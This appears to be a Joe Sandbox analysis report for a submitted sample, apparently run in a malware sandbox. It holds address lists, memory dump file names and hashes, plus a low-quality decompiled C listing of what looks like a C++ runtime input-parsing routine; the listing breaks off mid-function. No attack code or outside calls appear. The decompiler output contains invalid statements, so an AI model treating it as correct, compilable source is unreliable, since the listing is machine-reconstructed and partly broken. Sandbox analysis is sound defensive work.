0x0045f517
0x00000000
0x00000000
0x00000000
0x0045f517
0x0045f07b
0x0045f07e
0x0045f081
0x0045f083
0x00000000
0x00000000
0x00000000
0x00000000
0x0045eef1
0x0045eef4
0x0045ef66
0x0045ef66
0x0045ef69
0x0045ef6c
0x0045ef6e
0x0045ef70
0x0045ef73
0x0045ef75
0x0045ef75
0x0045ef77
0x0045ef79
0x0045f2a0
0x0045f2a2
0x0045f2a5
0x0045f2a8
0x0045f2ae
0x0045f2b0
0x0045f2b3
0x0045f2b6
0x0045f2bc
0x0045f2c3
0x0045f2c3
0x0045f2b6
0x0045f2a8
0x0045ef7f
0x0045ef82
0x0045ef86
0x0045ef89
0x0045ef8b
0x0045ef8e
0x0045ef8e
0x0045ef90
0x0045ef92
0x0045f273
0x0045f275
0x0045f278
0x0045f27b
0x0045f281
0x0045f283
0x0045f286
0x0045f288
0x0045f28b
0x0045f291
0x0045f298
0x0045f298
0x0045f28b
0x0045f27b
0x0045ef98
0x0045ef9a
0x0045ef9c
0x0045f775
0x0045f775
0x0045f778
0x0045f77d
0x0045f77f
0x00000000
0x00000000
0x00000000
0x0045efa2
0x0045efa2
0x0045efa5
0x0045efa8
0x0045efab
0x0045efad
0x0045efaf
0x0045f2d0
0x0045f2d3
0x0045f2d6
0x0045f750
0x0045f752
0x0045f755
0x0045f757
0x0045f75a
0x0045f760
0x0045f767
0x0045f767
0x0045f2dc
0x0045f2dc
0x0045f2dc
0x0045f2d6
0x0045efaf
0x0045efb5
0x0045efb7
0x0045efbf
0x0045efc2
0x0045efc6
0x0045efc9
0x0045efcc
0x0045efd1
0x0045efd3
0x0045ef00
0x0045ef06
0x0045ef09
0x0045ef0c
0x0045ef10
0x0045ef13
0x0045ef13
0x0045ef16
0x0045ef19
0x0045ef1c
0x0045ef23
0x0045ef27
0x0045ef29
0x0045f2e4
0x0045f2ec
0x0045f2ef
0x0045f2f7
0x0045f2ff
0x0045f302
0x0045f307
0x0045f30a
0x0045f30a
0x0045ef2f
0x0045ef33
0x0045ef33
0x0045ef33
0x0045ef37
0x0045ef3a
0x0045ef3d
0x0045ef40
0x0045ef45
0x0045ef45
0x0045ef48
0x0045ef4b
0x0045ef4e
0x0045f062
0x0045f064
0x0045f067
0x0045ef5a
0x0045ef5a
0x0045ef61
0x00000000
0x0045ef61
0x0045ef54
0x0045ef54
0x0045ef54
0x0045ef57
0x00000000
0x0045ef57
0x0045efd9
0x0045efdb
0x0045efde
0x0045efe1
0x0045efe1
0x0045efe4
0x0045efe6
0x0045f340
0x0045f343
0x0045f345
0x0045f771
0x00000000
0x0045f771
0x0045f34b
0x0045f34e
0x0045f352
0x0045f359
0x00000000
0x0045f359
0x0045efec
0x0045eff0
0x0045eff2
0x0045f366
0x0045f366
0x0045f369
0x0045f36b
0x0045f400
0x0045f402
0x0045f402
0x00000000
0x0045f402
0x00000000
0x0045f36b
0x0045eff8
0x0045effa
0x0045effd
0x0045f364
0x00000000
0x0045f364
0x0045f003
0x0045f007
0x0045f982
0x00000000
0x0045f982
0x0045f00d
0x0045f010
0x0045f012
0x0045f98b
0x00000000
0x0045f98b
0x0045f018
0x0045f01b
0x0045f01e
0x0045f021
0x0045f024
0x0045f026
0x0045f02b
0x0045f02b
0x0045f02e
0x0045f032
0x0045f034
0x0045f312
0x0045f31a
0x0045f31d
0x0045f325
0x0045f32d
0x0045f330
0x0045f335
0x0045f338
0x0045f338
0x0045f03a
0x0045f03e
0x0045f045
0x0045f048
0x0045f04b
0x0045f04e
0x0045f053
0x0045f056
0x0045f059
0x0045f05c
0x00000000
0x00000000
0x00000000
0x00000000
0x0045f05c
0x0045ef9c
0x00000000

Strings

-, xrefs: 0045F6A4

Memory Dump Source

Source File: 00000000.00000002.249347391.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249341615.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249587762.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249592337.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250558409.0000000000528000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250768536.000000000052A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251207004.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251925946.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251933608.0000000000581000.00000020.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w5OsHBiADi.jbxd

Similarity

API ID: memcpy
String ID: -
API String ID: 3510742995-2547889144
Opcode ID: 37fc649b76f78366f08a9322c699ba3b280ea091450d8e12992cf76757ea43ef
Instruction ID: 7a1e8173d671d045d740c05f9d2fbbb1143945329b413ddbf5b13fea81dcdd21
Opcode Fuzzy Hash: 37fc649b76f78366f08a9322c699ba3b280ea091450d8e12992cf76757ea43ef
Instruction Fuzzy Hash: 61726E71904248CBDB14CF64C48479EBBB1AF05325F24826AEC599F392D739DD8ECB86

Uniqueness

Uniqueness Score: -1.00%

Function 0045E020 Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 833
COMMONCrypto

Download Yara Rule

C-Code - Quality: 41%

			E0045E020(void* __eflags, signed int _a4, signed int _a8, signed int _a12, intOrPtr _a16, signed int _a20, signed int* _a24, intOrPtr _a28) {
				void* _v16;
				void _v44;
				signed int _v48;
				signed int _v52;
				void _v68;
				signed int _v72;
				signed int _v76;
				signed char _v77;
				char _v78;
				char _v80;
				char _v81;
				intOrPtr _v96;
				signed int _v100;
				signed int _v104;
				signed int _v108;
				signed char _v109;
				char _v110;
				signed char _v111;
				signed int _v116;
				intOrPtr _v120;
				signed int _v124;
				signed int _v128;
				signed int _v132;
				signed int _v136;
				signed int* _v156;
				char _v160;
				void* _v164;
				void* _v168;
				void* _v172;
				void* __ebx;
				signed int __edi;
				signed int __esi;
				void* __ebp;
				signed char _t425;
				intOrPtr* _t431;
				signed int _t444;
				signed int* _t448;
				signed int _t450;
				signed char _t451;
				signed int* _t452;
				signed int _t462;
				signed int* _t463;
				signed int _t466;
				signed int _t470;
				signed int _t471;
				signed int _t473;
				signed int _t474;
				signed int _t476;
				signed char* _t477;
				void* _t484;
				intOrPtr _t504;
				char _t505;
				signed int* _t514;
				signed int* _t515;
				signed int _t522;
				intOrPtr* _t523;
				intOrPtr* _t524;
				signed int _t530;
				signed int _t532;
				signed int _t537;
				intOrPtr* _t542;
				signed int _t544;
				signed int _t546;
				void* _t547;
				void* _t548;
				void* _t550;

				_t425 = _a20 + 0x6c;
				_v156 = _t425;
				_v100 = _t425;
				_v128 = E004C0920(__eflags);
				_t537 = E004522B0(0x529728);
				_t542 =  *((intOrPtr*)( *(_a20 + 0x6c) + 0xc)) + _t537 * 4;
				_t504 =  *_t542;
				if(_t504 == 0) {
					_t431 = E004C3430(0x44);
					_t505 = _t431;
					 *_t431 = 0x53e654;
					 *(_t431 + 4) = 0;
					 *(_t431 + 8) = 0;
					 *(_t431 + 0xc) = 0;
					 *((short*)(_t505 + 0x10)) = 0;
					 *((char*)(_t505 + 0x12)) = 0;
					 *(_t505 + 0x14) = 0;
					 *(_t505 + 0x18) = 0;
					 *(_t505 + 0x1c) = 0;
					 *(_t505 + 0x20) = 0;
					 *(_t505 + 0x24) = 0;
					 *(_t505 + 0x28) = 0;
					 *(_t505 + 0x2c) = 0;
					 *(_t505 + 0x30) = 0;
					 *(_t505 + 0x34) = 0;
					 *((char*)(_t505 + 0x43)) = 0;
					_v156 = _v100;
					E004AA1F0(_t505, __eflags);
					_v160 = _t505;
					_v156 = _t537;
					E004AD8F0( *(_a20 + 0x6c));
					_t504 =  *_t542;
					_t548 = _t548 - 0xfffffffffffffffc;
				}
				_v120 = _t504 + 0x38;
				if( *((intOrPtr*)(_t504 + 0x20)) != 0) {
					_t529 =  *(_t504 + 0x28);
					__eflags = _t529;
					_v111 = _t529 != 0;
				} else {
					_v111 = 0;
				}
				_v72 = 0;
				_v76 =  &_v68;
				_v68 = 0;
				if( *((char*)(_t504 + 0x10)) != 0) {
					_v156 = 0x20;
					E004B2380( &_v76);
					_t548 = _t548 - 4;
				}
				_v156 = 0x20;
				_v52 =  &_v44;
				_v48 = 0;
				_v44 = 0;
				E004B2380( &_v52);
				_v116 = 1;
				_t550 = _t548 - 4;
				_v104 = _t504 + 0x39;
				_v109 = 0;
				_v80 =  *((intOrPtr*)(_t504 + 0x34));
				_t444 =  &_v81 + _v116;
				_v100 = 0;
				_v136 = 0;
				_v124 = 0;
				_v110 = 0;
				if( *_t444 > 4) {
					L111:
					_t537 = 0;
					_t543 = 1;
					L108:
					__eflags = _v116 - 3;
					if(_v116 > 3) {
						L9:
						if(((_t444 & 0xffffff00 | _v124 - 0x00000001 > 0x00000000) & _t543) == 0) {
							__eflags = _t543;
							if(_t543 == 0) {
								goto L96;
							}
							__eflags = _v48 - 1;
							if(_v48 <= 1) {
								goto L151;
							}
							goto L168;
						} else {
							if(_v110 != 0) {
								_t537 =  *(_t504 + 0x24);
							} else {
								_t537 =  *(_t504 + 0x1c);
							}
							_t470 = _a8;
							_t522 = _a4;
							_v104 = 1;
							while(1) {
								_t471 = _t470 & 0xffffff00 | _t470 == 0xffffffff;
								_t544 = _t471;
								_t532 = _t544;
								_t473 = (_t471 & 0xffffff00 | _t522 != 0x00000000) & _t532;
								_v108 = _t473;
								if(_t473 != 0) {
									_t544 = 0;
									_t473 =  *(_t522 + 0xc);
									__eflags =  *(_t522 + 8) - _t473;
									if( *(_t522 + 8) >= _t473) {
										_t473 =  *((intOrPtr*)( *_t522 + 0x24))();
										__eflags = _t473 - 0xffffffff;
										if(_t473 == 0xffffffff) {
											_a4 = 0;
											_t544 = _v108 & 0x000000ff;
										}
									}
								}
								_t523 = _a12;
								_t474 = _t473 & 0xffffff00 | _a16 == 0xffffffff;
								if(_t523 == 0 || _t474 == 0) {
									_t544 = _t544 ^ _t474;
								} else {
									goto L116;
								}
								L17:
								_t529 = _v124;
								if(_v104 >= _v124 || _t544 == 0) {
									_t543 = _v124;
									__eflags = _v104 - _v124;
									if(_v104 != _v124) {
										goto L96;
									}
									__eflags = _v48 - 1;
									if(_v48 > 1) {
										L168:
										 *(_t550 + 4) = 0;
										_v156 = 0x30;
										_t466 = E004552A0( &_v52);
										_t550 = _t550 - 8;
										__eflags = _t466;
										if(_t466 == 0) {
											goto L151;
										}
										_t529 = _v48;
										__eflags = _t466 - 0xffffffff;
										if(_t466 == 0xffffffff) {
											_t422 = _t529 - 1; // 0x0
											_t466 = _t422;
											__eflags = _t466 - 0xffffffff;
											if(_t466 == 0xffffffff) {
												 *_v52 = 0;
												goto L151;
											}
											__eflags = _t466;
											if(_t466 == 0) {
												goto L151;
											}
										}
										__eflags = _t466 - _t529;
										_v156 = 0;
										_t468 =  >  ? _t529 : _t466;
										 *(_t550 + 4) =  >  ? _t529 : _t466;
										E004B2480( &_v52);
										_t550 = _t550 - 8;
									}
									L151:
									__eflags = _v110;
									if(_v110 != 0) {
										__eflags =  *_v52 - 0x30;
										if( *_v52 != 0x30) {
											 *((intOrPtr*)(_t550 + 0xc)) = 0x2d;
											 *(_t550 + 8) = 1;
											 *(_t550 + 4) = 0;
											_v156 = 0;
											E004B0DA0(_t504,  &_v52, _t537, _t543, _t547);
											_t550 = _t550 - 0x10;
										}
									}
									__eflags = _v72;
									if(_v72 != 0) {
										_t529 = _v136;
										__eflags = _v109;
										_t457 =  !=  ? _v136 : _v100;
										_v156 =  !=  ? _v136 : _v100;
										E004B2860( &_v76);
										_t550 = _t550 - 4;
										 *(_t550 + 8) =  &_v76;
										_v156 =  *((intOrPtr*)(_t504 + 0xc));
										_v160 =  *((intOrPtr*)(_t504 + 8));
										_t462 = E004BE6E0();
										__eflags = _t462;
										if(_t462 == 0) {
											_t463 = _a24;
											 *_t463 =  *_t463 | 0x00000004;
											__eflags =  *_t463;
										}
									}
									__eflags = _v109;
									if(_v109 == 0) {
										L159:
										_v156 =  &_v52;
										E004B0F40(_a28);
										_t550 = _t550 - 4;
										goto L97;
									} else {
										__eflags =  *((intOrPtr*)(_t504 + 0x2c)) - _v100;
										if( *((intOrPtr*)(_t504 + 0x2c)) != _v100) {
											goto L96;
										}
										goto L159;
									}
								} else {
									_t524 = _a4;
									_t476 = _a8;
									if(_t524 == 0 || _t476 != 0xffffffff) {
										L21:
										if( *((intOrPtr*)(_t537 + _v104)) != _t476) {
											goto L96;
										}
										_t522 = _a4;
										_t477 =  *(_t522 + 8);
										if(_t477 >=  *(_t522 + 0xc)) {
											 *((intOrPtr*)( *_t522 + 0x28))();
											_t522 = _a4;
											goto L24;
										}
										goto L23;
									} else {
										_t477 =  *(_t524 + 8);
										__eflags = _t477 -  *((intOrPtr*)(_t524 + 0xc));
										if(_t477 >=  *((intOrPtr*)(_t524 + 0xc))) {
											_t476 =  *((intOrPtr*)( *_t524 + 0x24))();
											__eflags = _t476 - 0xffffffff;
											if(_t476 == 0xffffffff) {
												_a4 = 0;
											}
											goto L21;
										}
										_t546 = _v104;
										_t529 =  *_t477 & 0x000000ff;
										__eflags =  *((intOrPtr*)(_t537 + _t546)) - ( *_t477 & 0x000000ff);
										if( *((intOrPtr*)(_t537 + _t546)) == ( *_t477 & 0x000000ff)) {
											L23:
											 *(_t522 + 8) =  &(_t477[1]);
											L24:
											_a8 = 0xffffffff;
											_t470 = 0xffffffff;
											_v104 = _v104 + 1;
											continue;
										}
										L96:
										_t448 = _a24;
										 *_t448 =  *_t448 | 0x00000004;
										__eflags =  *_t448;
										L97:
										_v156 =  &_a12;
										_t450 = E00450A90( &_a12,  &_a4, _t529);
										__eflags = _t450;
										if(_t450 != 0) {
											_t452 = _a24;
											 *_t452 =  *_t452 | 0x00000002;
											__eflags =  *_t452;
										}
										_t514 = _v52;
										_t451 = _a4;
										_t530 = _a8;
										__eflags = _t514 -  &_v44;
										if(_t514 !=  &_v44) {
											_v156 = _t514;
											_v100 = _t451;
											_v96 = _t530;
											L004C33F0();
											_t451 = _v100;
											_t530 = _v96;
										}
										_t515 = _v76;
										__eflags = _t515 -  &_v68;
										if(_t515 !=  &_v68) {
											_v156 = _t515;
											_v100 = _t451;
											_v96 = _t530;
											L004C33F0();
											_t451 = _v100;
										}
										return _t451;
									}
								}
								L116:
								__eflags =  *((intOrPtr*)(_t523 + 8)) -  *((intOrPtr*)(_t523 + 0xc));
								if( *((intOrPtr*)(_t523 + 8)) >=  *((intOrPtr*)(_t523 + 0xc))) {
									_t484 =  *((intOrPtr*)( *_t523 + 0x24))();
									__eflags = _t484 - 0xffffffff;
									_t544 = _t544 ^ (_t532 & 0xffffff00 | _t484 == 0xffffffff);
									__eflags = _t484 - 0xffffffff;
									if(_t484 == 0xffffffff) {
										_a12 = 0;
									}
								}
								goto L17;
							}
						}
					}
					_t444 = _t537;
					__eflags = _t444;
					if(_t444 != 0) {
						goto L9;
					}
					L110:
					_v116 = _v116 + 1;
					_t444 =  &_v81 + _v116;
					__eflags =  *_t444 - 4;
					if( *_t444 <= 4) {
						goto L6;
					}
					goto L111;
				}
				L6:
				_t444 =  *_t444 & 0x000000ff;
				switch( *((intOrPtr*)(_t444 * 4 +  &M00535ECC))) {
					case 0:
						_t543 = 1;
						goto L8;
					case 1:
						__esi =  &_a12;
						__ecx =  &_a4;
						__eax = E00450A90(__eax, __ecx, __edx,  &_a12);
						__eflags = __al;
						if(__al == 0) {
							__edx = _a8;
							 &_a4 = E00450B30( &_a4, _a8);
							__esi = _v128;
							__eax = __al & 0x000000ff;
							__edx =  *(_v128 + 0x18);
							__eflags =  *(__edx + __eax * 2) & 0x00000020;
							if(( *(__edx + __eax * 2) & 0x00000020) == 0) {
								goto L68;
							}
							__ecx = _a4;
							__eax = E004A5D20(__ecx);
							_a8 = 0xffffffff;
							__esi = 1;
							L8:
							if(_v116 != 4) {
								L69:
								_t487 = _a8;
								_t525 = _a4;
								while(1) {
									__eflags = _t487 - 0xffffffff;
									_t488 = _t487 & 0xffffff00 | _t487 == 0xffffffff;
									__eflags = _t525;
									_t538 = _t488;
									_t534 = _t538;
									_t490 = (_t488 & 0xffffff00 | _t525 != 0x00000000) & _t534;
									__eflags = _t490;
									_v108 = _t490;
									if(_t490 != 0) {
										_t538 = 0;
										_t490 =  *(_t525 + 0xc);
										__eflags =  *(_t525 + 8) - _t490;
										if( *(_t525 + 8) >= _t490) {
											_t490 =  *((intOrPtr*)( *_t525 + 0x24))();
											__eflags = _t490 - 0xffffffff;
											if(_t490 == 0xffffffff) {
												_a4 = 0;
												_t538 = _v108 & 0x000000ff;
											}
										}
									}
									_t526 = _a12;
									_a16 - 0xffffffff = _t526;
									_t492 = (_t490 & 0xffffff00 | _t526 != 0x00000000) & (_t534 & 0xffffff00 | _a16 == 0xffffffff);
									__eflags = _t492;
									_v108 = _t492;
									if(_t492 != 0) {
										_t529 = 0;
										__eflags =  *((intOrPtr*)(_t526 + 8)) -  *((intOrPtr*)(_t526 + 0xc));
										if( *((intOrPtr*)(_t526 + 8)) >=  *((intOrPtr*)(_t526 + 0xc))) {
											_t501 =  *((intOrPtr*)( *_t526 + 0x24))();
											_t529 = 0;
											__eflags = _t501 - 0xffffffff;
											if(_t501 == 0xffffffff) {
												_a12 = 0;
												_t529 = _v108 & 0x000000ff;
											}
										}
									}
									_t444 = _t538;
									__eflags = _t444 - _t529;
									if(_t444 == _t529) {
										goto L107;
									} else {
										_t494 = _a8;
										_t527 = _a4;
										__eflags = _t494 - 0xffffffff;
										if(_t494 != 0xffffffff) {
											L74:
											_t444 = _t494 & 0x000000ff;
											_t529 =  *(_v128 + 0x18);
											__eflags =  *(_t529 + _t444 * 2) & 0x00000020;
											if(( *(_t529 + _t444 * 2) & 0x00000020) == 0) {
												goto L107;
											}
											_t525 = _a4;
											_t495 =  *(_t525 + 8);
											__eflags = _t495 -  *(_t525 + 0xc);
											if(_t495 >=  *(_t525 + 0xc)) {
												 *((intOrPtr*)( *_t525 + 0x28))();
												_t525 = _a4;
												L77:
												_a8 = 0xffffffff;
												_t487 = 0xffffffff;
												continue;
											}
											L76:
											_t498 =  &(_t495[1]);
											__eflags = _t498;
											 *(_t525 + 8) = _t498;
											goto L77;
										}
										__eflags = _t527;
										if(_t527 != 0) {
											_t495 =  *(_t527 + 8);
											__eflags = _t495 -  *((intOrPtr*)(_t527 + 0xc));
											if(_t495 >=  *((intOrPtr*)(_t527 + 0xc))) {
												_t494 =  *((intOrPtr*)( *_t527 + 0x24))();
												__eflags = _t494 - 0xffffffff;
												if(_t494 == 0xffffffff) {
													_a4 = 0;
												}
												goto L74;
											}
											_t541 =  *_t495 & 0x000000ff;
											_t529 =  *(_v128 + 0x18);
											__eflags =  *(_t529 + _t541 * 2) & 0x00000020;
											if(( *(_t529 + _t541 * 2) & 0x00000020) != 0) {
												goto L76;
											}
											goto L107;
										}
										goto L74;
									}
								}
							}
							goto L9;
						}
						L68:
						__esi = 0;
						__eflags = _v116 - 4;
						if(_v116 == 4) {
							goto L9;
						}
						goto L69;
					case 2:
						__eax = _a20;
						__eflags =  *(__eax + 0xd) & 0x00000002;
						if(( *(__eax + 0xd) & 0x00000002) != 0) {
							L55:
							__eax =  *(__ebx + 0x18);
							__ecx = _a4;
							_v108 = 0;
							_v132 =  *(__ebx + 0x18);
							__eax = _a8;
							while(1) {
								__eflags = __eax - 0xffffffff;
								__eax = __eax & 0xffffff00 | __eax == 0xffffffff;
								__eflags = __ecx;
								__esi = __eax;
								__eax = __eax & 0xffffff00 | __ecx != 0x00000000;
								__edx = __esi;
								__al = __al & __dl;
								__eflags = __al;
								__edi = __eax;
								if(__al != 0) {
									__esi = 0;
									__eax =  *(__ecx + 0xc);
									__eflags =  *(__ecx + 8) - __eax;
									if( *(__ecx + 8) >= __eax) {
										__eax =  *__ecx;
										__eax =  *((intOrPtr*)( *__ecx + 0x24))();
										__eflags = __eax - 0xffffffff;
										if(__eax == 0xffffffff) {
											_a4 = 0;
											__esi = __edi;
										}
									}
								}
								__ecx = _a12;
								__eflags = _a16 - 0xffffffff;
								__eax = __eax & 0xffffff00 | _a16 == 0xffffffff;
								__eflags = __ecx;
								if(__ecx == 0) {
									goto L59;
								}
								__eflags = __al;
								if(__al != 0) {
									__eax =  *(__ecx + 0xc);
									__eflags =  *(__ecx + 8) - __eax;
									if( *(__ecx + 8) >= __eax) {
										__eax =  *__ecx;
										__eax =  *((intOrPtr*)( *__ecx + 0x24))();
										__eflags = __eax - 0xffffffff;
										__esi = __esi ^ __edx;
										__eflags = __eax - 0xffffffff;
										if(__eax == 0xffffffff) {
											_a12 = 0;
										}
									}
									L60:
									__edi = _v132;
									__eflags = _v108 - _v132;
									__edx = __esi;
									__eax = __eax & 0xffffff00 | _v108 - _v132 > 0x00000000;
									__dl = __dl & __al;
									__eflags = __dl;
									__edi = __edx;
									if(__dl == 0) {
										__esi = _v132;
										__eflags = _v108 - _v132;
										if(_v108 != _v132) {
											L145:
											__eax = _v108;
											__eflags = __eax;
											if(__eflags != 0) {
												goto L96;
											}
											__eax = _a20;
											__eax =  *(_a20 + 0xc);
											_v108 = __eax;
											__eax = __eax & 0x00000200;
											__edx = __edx & 0xffffff00 | __eflags == 0x00000000;
											__eax = __eax & 0xffffff00 | __eflags != 0x00000000;
											__esi = __edx;
											__edi = __eax;
											goto L108;
										}
										__esi = 1;
										goto L108;
									}
									__eax = _a8;
									__ecx = _a4;
									__eflags = _a8 - 0xffffffff;
									if(_a8 != 0xffffffff) {
										L63:
										__edx =  *(__ebx + 0x14);
										__esi = _v108;
										__eflags =  *(__edx + __esi) - __al;
										if( *(__edx + __esi) != __al) {
											goto L145;
										}
										__ecx = _a4;
										__eax =  *(__ecx + 8);
										__eflags = __eax -  *(__ecx + 0xc);
										if(__eax >=  *(__ecx + 0xc)) {
											 *__ecx =  *((intOrPtr*)( *__ecx + 0x28))();
											__ecx = _a4;
											L66:
											_a8 = 0xffffffff;
											__eax = 0xffffffff;
											_v108 = _v108 + 1;
											continue;
										}
										L65:
										__eax = __eax + 1;
										__eflags = __eax;
										 *(__ecx + 8) = __eax;
										goto L66;
									}
									__eflags = __ecx;
									if(__ecx != 0) {
										__eax =  *(__ecx + 8);
										__eflags = __eax -  *(__ecx + 0xc);
										if(__eax >=  *(__ecx + 0xc)) {
											__eax =  *__ecx;
											__eax =  *((intOrPtr*)( *__ecx + 0x24))();
											__eflags = __eax - 0xffffffff;
											if(__eax == 0xffffffff) {
												_a4 = 0;
											}
											goto L63;
										}
										__edx =  *(__ebx + 0x14);
										__esi = _v108;
										__edx =  *( *(__ebx + 0x14) + _v108) & 0x000000ff;
										__eflags =  *__eax - __dl;
										if( *__eax == __dl) {
											goto L65;
										}
										goto L145;
									}
									goto L63;
								}
								L59:
								__esi = __esi ^ __eax;
								__eflags = __esi;
								goto L60;
							}
						}
						__ecx = _v116;
						__eflags = _v124 - 1;
						__edx = __edx & 0xffffff00 | __eflags > 0x00000000;
						__ecx = _v116 - 1;
						__eax = __eax & 0xffffff00 | __eflags == 0x00000000;
						__dl = __dl | __al;
						__eflags = __dl;
						__edi = __edx;
						if(__dl != 0) {
							goto L55;
						}
						__eflags = __ecx - 1;
						if(__ecx == 1) {
							__eflags = _v111;
							if(_v111 != 0) {
								goto L55;
							}
							__eflags = _v80 - 3;
							if(_v80 == 3) {
								goto L55;
							}
							__eflags = _v78 - 1;
							if(_v78 != 1) {
								goto L110;
							}
							goto L55;
						}
						__esi = 1;
						__eflags = __ecx - 2;
						if(__ecx != 2) {
							goto L108;
						}
						__eax = _v77 & 0x000000ff;
						__eflags = __al - 4;
						if(__al == 4) {
							goto L55;
						}
						__eflags = __al - 3;
						if(__al != 3) {
							goto L110;
						}
						__eflags = _v111;
						if(_v111 == 0) {
							goto L110;
						}
						goto L55;
					case 3:
						__eax =  *(__ebx + 0x20);
						__eflags = __eax;
						if(__eax != 0) {
							__esi =  &_a12;
							__ecx =  &_a4;
							__edi = __eax;
							__eflags = __al;
							if(__al == 0) {
								__edx = _a8;
								 &_a4 = E00450B30( &_a4, _a8);
								__edx =  *(__ebx + 0x1c);
								__eflags =  *__edx - __al;
								if( *__edx != __al) {
									goto L123;
								}
								__eax =  *(__ebx + 0x20);
								__ecx = _a4;
								_v124 =  *(__ebx + 0x20);
								__eax = E004A5D20(__ecx);
								_a8 = 0xffffffff;
								__esi = 1;
								goto L108;
							}
							L123:
							__eax =  *(__ebx + 0x28);
							__eflags = __eax;
							if(__eax != 0) {
								L129:
								_v156 = __esi;
								__ecx =  &_a4;
								__eax = E00450A90(__eax, __ecx, __edx);
								__esp = __esp - 4;
								__edi = __eax;
								__eflags = __al;
								if(__al == 0) {
									__edx = _a8;
									 &_a4 = E00450B30( &_a4, _a8);
									__edx =  *(__ebx + 0x24);
									__eflags =  *__edx - __al;
									if( *__edx != __al) {
										goto L130;
									}
									__eax =  *(__ebx + 0x28);
									__ecx = _a4;
									_v124 =  *(__ebx + 0x28);
									__eax = E004A5D20(__ecx);
									_a8 = 0xffffffff;
									__esi = 1;
									_v110 = 1;
									goto L108;
								}
								L130:
								__eax =  *(__ebx + 0x20);
								__eflags = __eax;
								if(__eax == 0) {
									L47:
									__edi = _v111 & 0x000000ff;
									__esi = __edi;
									__esi = __edi ^ 0x00000001;
									goto L108;
								}
								__eax =  *(__ebx + 0x28);
								__eflags = __eax;
								if(__eax != 0) {
									goto L47;
								}
								L125:
								__edi = 0;
								__esi = 1;
								_v110 = 1;
								goto L108;
							}
							__edx =  *(__ebx + 0x20);
							__eflags = __edx;
							if(__edx == 0) {
								goto L47;
							}
							goto L125;
						}
						__eax =  *(__ebx + 0x28);
						__esi =  &_a12;
						__eflags = __eax;
						if(__eax != 0) {
							goto L129;
						}
						goto L47;
					case 4:
						__eax = _a8;
						__ecx = _a4;
						while(1) {
							__eflags = __eax - 0xffffffff;
							__eax = __eax & 0xffffff00 | __eax == 0xffffffff;
							__eflags = __ecx;
							__esi = __eax;
							__eax = __eax & 0xffffff00 | __ecx != 0x00000000;
							__edx = __esi;
							__al = __al & __dl;
							__eflags = __al;
							__edi = __eax;
							if(__al != 0) {
								__esi = 0;
								__eax =  *(__ecx + 0xc);
								__eflags =  *(__ecx + 8) - __eax;
								if( *(__ecx + 8) >= __eax) {
									__eax =  *__ecx;
									__eax =  *((intOrPtr*)( *__ecx + 0x24))();
									__eflags = __eax - 0xffffffff;
									if(__eax == 0xffffffff) {
										_a4 = 0;
										__esi = __edi;
									}
								}
							}
							__ecx = _a12;
							__eflags = _a16 - 0xffffffff;
							__edx = __edx & 0xffffff00 | _a16 == 0xffffffff;
							__eflags = __ecx;
							__eax = __eax & 0xffffff00 | __ecx != 0x00000000;
							__al = __al & __dl;
							__eflags = __al;
							__edi = __eax;
							if(__al != 0) {
								__edx = 0;
								__eax =  *(__ecx + 0xc);
								__eflags =  *(__ecx + 8) -  *(__ecx + 0xc);
								if( *(__ecx + 8) >=  *(__ecx + 0xc)) {
									__eax =  *__ecx;
									__eax =  *((intOrPtr*)( *__ecx + 0x24))();
									__edx = 0;
									__eflags = __eax - 0xffffffff;
									if(__eax == 0xffffffff) {
										_a12 = 0;
										__edx = __edi;
									}
								}
							}
							__eax = __esi;
							__eflags = __dl - __al;
							if(__dl == __al) {
								L164:
								__edi = _v48;
								__esi = 1;
								__eflags = __edi;
								if(__edi == 0) {
									goto L96;
								}
								goto L107;
							} else {
								__edi = _a8;
								__ecx = _a4;
								__eflags = __edi - 0xffffffff;
								if(__edi == 0xffffffff) {
									__eflags = __ecx;
									if(__ecx != 0) {
										__eax =  *(__ecx + 8);
										__eflags = __eax -  *(__ecx + 0xc);
										if(__eax >=  *(__ecx + 0xc)) {
											__eax =  *__ecx;
											__eax =  *((intOrPtr*)( *__ecx + 0x24))();
											__edi = __eax;
											__eflags = __eax - 0xffffffff;
											if(__eax == 0xffffffff) {
												_a4 = 0;
												__edi = 0xffffffff;
											}
										} else {
											__edi =  *__eax & 0x000000ff;
										}
									}
								}
								__eax = __edi;
								 *(__esp + 8) = 0xa;
								__eax = __al;
								 *(__esp + 4) = __al;
								__eax = _v104;
								_v156 = _v104;
								__eax = memchr(??, ??, ??);
								__eflags = __eax;
								if(__eax != 0) {
									__edx =  *0x5295a8; // 0x538630
									__eax = __eax - _v120;
									__esi = _v48;
									__eax =  *(__edx + __eax) & 0x000000ff;
									__edx = _v52;
									_t75 = __esi + 1; // 0x1
									__edi = _t75;
									_v108 = __al;
									__eax =  &_v44;
									__eflags = __edx -  &_v44;
									0xf =  !=  ? _v44 : 0xf;
									__eflags = __edi - ( !=  ? _v44 : 0xf);
									if(__edi > ( !=  ? _v44 : 0xf)) {
										 *(__esp + 0xc) = 1;
										__ecx =  &_v52;
										 *(__esp + 8) = 0;
										 *(__esp + 4) = 0;
										_v156 = __esi;
										__eax = E004B26D0( &_v52);
										__esp = __esp - 0x10;
										__edx = _v52;
									}
									__eax = _v108 & 0x000000ff;
									_t80 =  &_v100;
									 *_t80 = _v100 + 1;
									__eflags =  *_t80;
									 *(__edx + __esi) = __al;
									__eax = _v52;
									_v48 = __edi;
									 *((char*)(_v52 + __esi + 1)) = 0;
									L28:
									__ecx = _a4;
									__eax =  *(__ecx + 8);
									__eflags = __eax -  *(__ecx + 0xc);
									if(__eax >=  *(__ecx + 0xc)) {
										L44:
										 *__ecx =  *((intOrPtr*)( *__ecx + 0x28))();
										__ecx = _a4;
										L30:
										_a8 = 0xffffffff;
										__eax = 0xffffffff;
										continue;
									}
									L29:
									__eax = __eax + 1;
